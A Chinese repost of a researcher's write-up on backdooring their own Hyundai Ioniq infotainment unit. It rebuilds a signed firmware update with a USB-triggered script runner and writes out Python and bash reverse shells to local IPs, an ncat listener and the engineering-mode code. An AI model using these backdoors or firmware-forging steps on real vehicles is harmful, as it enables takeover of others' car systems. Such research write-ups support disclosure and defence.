【车联网】现代汽车Ioniq SEL渗透测试(3)

不再等待

2022 年 4 月 28 日,针对现代和起亚车辆发布了新一轮 Display Audio 固件更新。幸运的是,其中包括我的车。

【车联网】现代汽车Ioniq SEL渗透测试(3)

我没有浪费时间开发自己的带有后门的固件更新。

通过 linux_envsetup.sh 脚本,我确切地了解了 D-Audio2V 加密固件更新是如何进行的:

1,首先,所有各种二进制文件都被分类到正确的目录中。 (Micom 更新位于 micom 文件夹中,系统映像位于系统文件夹中,等等)

2,使用重复的 SHA224 计算更新中每个二进制文件的哈希值,这些哈希值被放入 update.cfg 文件中。每行包含文件的原始名称、冒号,然后是文件的哈希值。更新.cfg 文件

3,某些文件使用 AES 测试密钥加密,这些文件被重命名为“enc_{OriginalName}”。

4,update.cfg 文件使用与其他文件相同的方法进行哈希处理,然后对哈希值进行签名。签名的哈希值被放入 update.info 文件中。

5,所有二进制文件、update.cfg 文件和 update.info 文件都被压缩到加密的 zip 中。

Bash 脚本很简洁

我知道固件更新的所有安全措施。所以现在我只需要按照他们创建我自己的固件更新即可。为了帮助我做到这一点,我创建了几个 bash 脚本。

【车联网】现代汽车Ioniq SEL渗透测试(3)

我创建了一个空文件夹,并将要编辑的脚本和固件文件放入其中,然后使用“setup_environment.sh”脚本来设置文件夹/文件结构。

【车联网】现代汽车Ioniq SEL渗透测试(3)

然后,我编辑了keys文件夹中的文件,用我从Mobis的开源代码和谷歌搜索中找到的信息填充它们(参见第1部分)。

然后我运行 extract_update.sh 文件,传入我的原始固件文件。

【车联网】现代汽车Ioniq SEL渗透测试(3)

这会使用 zip 密码提取固件文件,并将系统映像安装到 system_image 文件夹中。

【车联网】现代汽车Ioniq SEL渗透测试(3)

现在我可以以任何我想要的方式修改系统映像。

后门

我决定尽可能减少改变,至少一开始是这样。在我的逆向工程和研究过程中,我将较旧的固件更新与为我的车辆发布的固件更新进行了比较。在其中我发现了一个新的 bash 脚本,它运行 Guider(一个基于 Python 的性能分析工具)。

【车联网】现代汽车Ioniq SEL渗透测试(3)

在对新的工程模式应用程序进行逆向工程时,我看到有一个菜单选项可以运行此脚本。我找到了后门的目标。我决定在 Guider 启动脚本中添加两个后门。

  1. echo "Finding USB Script"

  2. USB_SCRIPT_PATH=$(find /run/media/ -path "*1C207FCE3065.sh" 2>/dev/null)

  3. if [ -n "$USB_SCRIPT_PATH" ]

  4. then

  5. echo "Running USB Script"

  6. USB_SCRIPT_CONTENT=$(cat $USB_SCRIPT_PATH)

  7. bash -c "$USB_SCRIPT_CONTENT" &

  8. fi

  9. echo "Prescript Running"

  10. python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.2",4242));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())' 2>/dev/null &

第一个后门是 USB 脚本启动器,它会在插入系统的任何闪存驱动器上搜索并启动名为“1C207FCE3065.sh”的脚本文件。第二个后门是一个简单的 python 反向 shell,它会尝试连接到“192.168.0.2”,当通过 Wi-Fi 连接时,这将是我的手机或笔记本电脑。

Making the New Image

一旦我的后门就位,我就运行了compile_update.sh 脚本。

1,卸载系统映像

2,计算 system.img 文件的新哈希值

3,使用新的 system.img 哈希更新 update.cfg

4,计算 update.cfg 文件的哈希值

5,签署 update.cfg 文件,将其放入 update.list 中。

6,使用设置中的 zip 密码将所有内容压缩到 zip 文件中。

【车联网】现代汽车Ioniq SEL渗透测试(3)

Tada〜我现在有一个包含我的后门的系统更新。我有点懒,没有使输出 zip 自动重命名以使其包含有效版本,因此您必须将原始更新的名称复制到其中。

【车联网】现代汽车Ioniq SEL渗透测试(3)

【车联网】现代汽车Ioniq SEL渗透测试(3)

我将新的固件更新放在闪存驱动器上,进入 IVI 上的设置应用程序并按下“更新”。

It Worked?

我第一次这样做时,实际上并没有成功。我的脚本中有一个错误,它使用无效的哈希值更新了 update.cfg 文件。这导致系统反复重新启动进入恢复模式,尝试更新,检查哈希值,失败,重新启动……不过,我通过使用回形针按下 IVI 前面的重置按钮来摆脱这个循环。

Ok, now it Worked

在修复脚本并制作新的系统更新文件后,我将其加载到 USB 驱动器上,按下“更新”按钮,然后……成功了!更新确实花了一段时间,但在更新屏幕经过第一步后,我很确定我已经安全了。

系统最终重新启动,一切似乎都正常工作。现在我只需要使用我的新后门访问它。走后门

我用无线 Android Auto 设置了手机,并将日志转储到闪存驱动器以恢复 Wi-Fi 密码。断开手机连接后,我将笔记本电脑连接到 Wi-Fi,并将我的 IP 地址设置为:192.168.0.2。然后我使用 ncat 使用以下命令监听端口 4242:

  1. ncat -l -p 4242

现在我所要做的就是在工程模式下运行 Guider。我进入设置屏幕,点击“更新”按钮左侧 10 次,点击“更新”按钮右侧一次,输入代码 2400,然后……

【车联网】现代汽车Ioniq SEL渗透测试(3)

工程模式代码不起作用? Mobis 肯定已经更改了代码。幸运的是,我知道工程模式应用程序会将正确代码的哈希记录(或者至少曾经记录)到 Logcat 日志中。所以我很快又把日志转储到我的驱动器上并查看它。

查看日志,我看到了一些与工程模式密码显示相关的条目。打印出三个 MD5 哈希值。

【车联网】现代汽车Ioniq SEL渗透测试(3)

  • md5Year 是字符串“02”的哈希值

  • md5Password1 是字符串“24”的哈希值

  • md5Password2 是字符串“00”的哈希值

所以看起来 md5Password(n) 是我输入的代码的每两位数字,而 md5Year 可能是从年份派生出来的,并且是它所期望的真实代码的两位数字。

但如果这是真的,我缺少两位数字,因为应用程序需要 4 位代码,所以我回去对工程模式应用程序进行逆向工程。

我找到了用于检查代码的函数,并看到了一个包含哈希值的常量字符串。查找哈希值发现它是“38”。

【车联网】现代汽车Ioniq SEL渗透测试(3)

根据函数的其余部分,看起来 md5Year 值和“38”可能是我需要的两个部分,所以我走到我的车前尝试它们。

【车联网】现代汽车Ioniq SEL渗透测试(3)

输入代码“3802”后,我看到一个新的可怕的弹出窗口:

【车联网】现代汽车Ioniq SEL渗透测试(3)

看起来摩比斯在进入工程模式时添加了一个新的警告屏幕。

现在我所要做的就是启动 Guider 来激活我的后门。我导航到 Guider 屏幕,按下“开始”按钮,然后等待 Python 反向 shell 连接。

【车联网】现代汽车Ioniq SEL渗透测试(3)

Python 反向 shell 无法工作。我并没有真正了解太多原因,因为我有一个非常方便的备份:USB Script Runner™。

备份计划

幸运的是,我的 USB Script Runner™ 仍然是后门的一部分。

  1. echo "Finding USB Script"

  2. USB_SCRIPT_PATH=$(find /run/media/ -path "*1C207FCE3065.sh" 2>/dev/null)

  3. if [ -n "$USB_SCRIPT_PATH" ]

  4. then

  5. echo "Running USB Script"

  6. USB_SCRIPT_CONTENT=$(cat $USB_SCRIPT_PATH)

  7. bash -c "$USB_SCRIPT_CONTENT" &

  8. fi

如果有效,我仍然可以完全访问该系统。我将基本的 bash 反向 shell 脚本保存到闪存驱动器根目录下的 1C207FCE3065.sh 文件中:

  1. /bin/bash -i >& /dev/tcp/192.168.0.3/4242 0>&1 &

该脚本运行后,它应该连接到我的笔记本电脑自动分配的 IP 地址 (192.168.0.3),并将交互式 bash shell 转发到端口 4242 上的 ncat。

我只需插入 USB,再次按下“Start Guider”,然后……

【车联网】现代汽车Ioniq SEL渗透测试(3)

IM IN

我有进入系统的后门。我运行 whoami 来查看我以什么用户身份运行:

【车联网】现代汽车Ioniq SEL渗透测试(3)

我拥有完全的 root 访问权限。我做的第一件事是收集一些信息,将完整的目录列表、netstat 命令输出、df 输出等输出到我的驱动器。

由于理论上我现在可以完全控制 IVI,所以我认为下一个合乎逻辑的步骤是为其创建一些应用程序。




免责声明:

本公众号所有文章均为用于技术沟通交流,请勿用于其他用途,否则后果自负。

第二十七条:任何个人和组织不得从事非法侵入他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动;不得提供专门用于从事侵入网络、干扰网络正常功能及防护措施、窃取网络数据等危害网络安全活动的程序和工具;明知他人从事危害网络安全的活动,不得为其提供技术支持、广告推广、支付结算等帮助

第十二条: 国家保护公民、法人和其他组织依法使用网络的权利,促进网络接入普及,提升网络服务水平,为社会提供安全、便利的网络服务,保障网络信息依法有序自由流动。

任何个人和组织使用网络应当遵守宪法法律,遵守公共秩序,尊重社会公德,不得危害网络安全,不得利用网络从事危害国家安全、荣誉和利益,煽动颠覆国家政权、推翻社会主义制度,煽动分裂国家、破坏国家统一,宣扬恐怖主义、极端主义,宣扬民族仇恨、民族歧视,传播暴力、淫秽色情信息,编造、传播虚假信息扰乱经济秩序和社会秩序,以及侵害他人名誉、隐私、知识产权和其他合法权益等活动。


原文始发于微信公众号(车联网攻防日记):【车联网】现代汽车Ioniq SEL渗透测试(3)

版权声明:admin 发表于 2024年6月18日 下午9:01。
转载请注明:【车联网】现代汽车Ioniq SEL渗透测试(3) | CTF导航

相关文章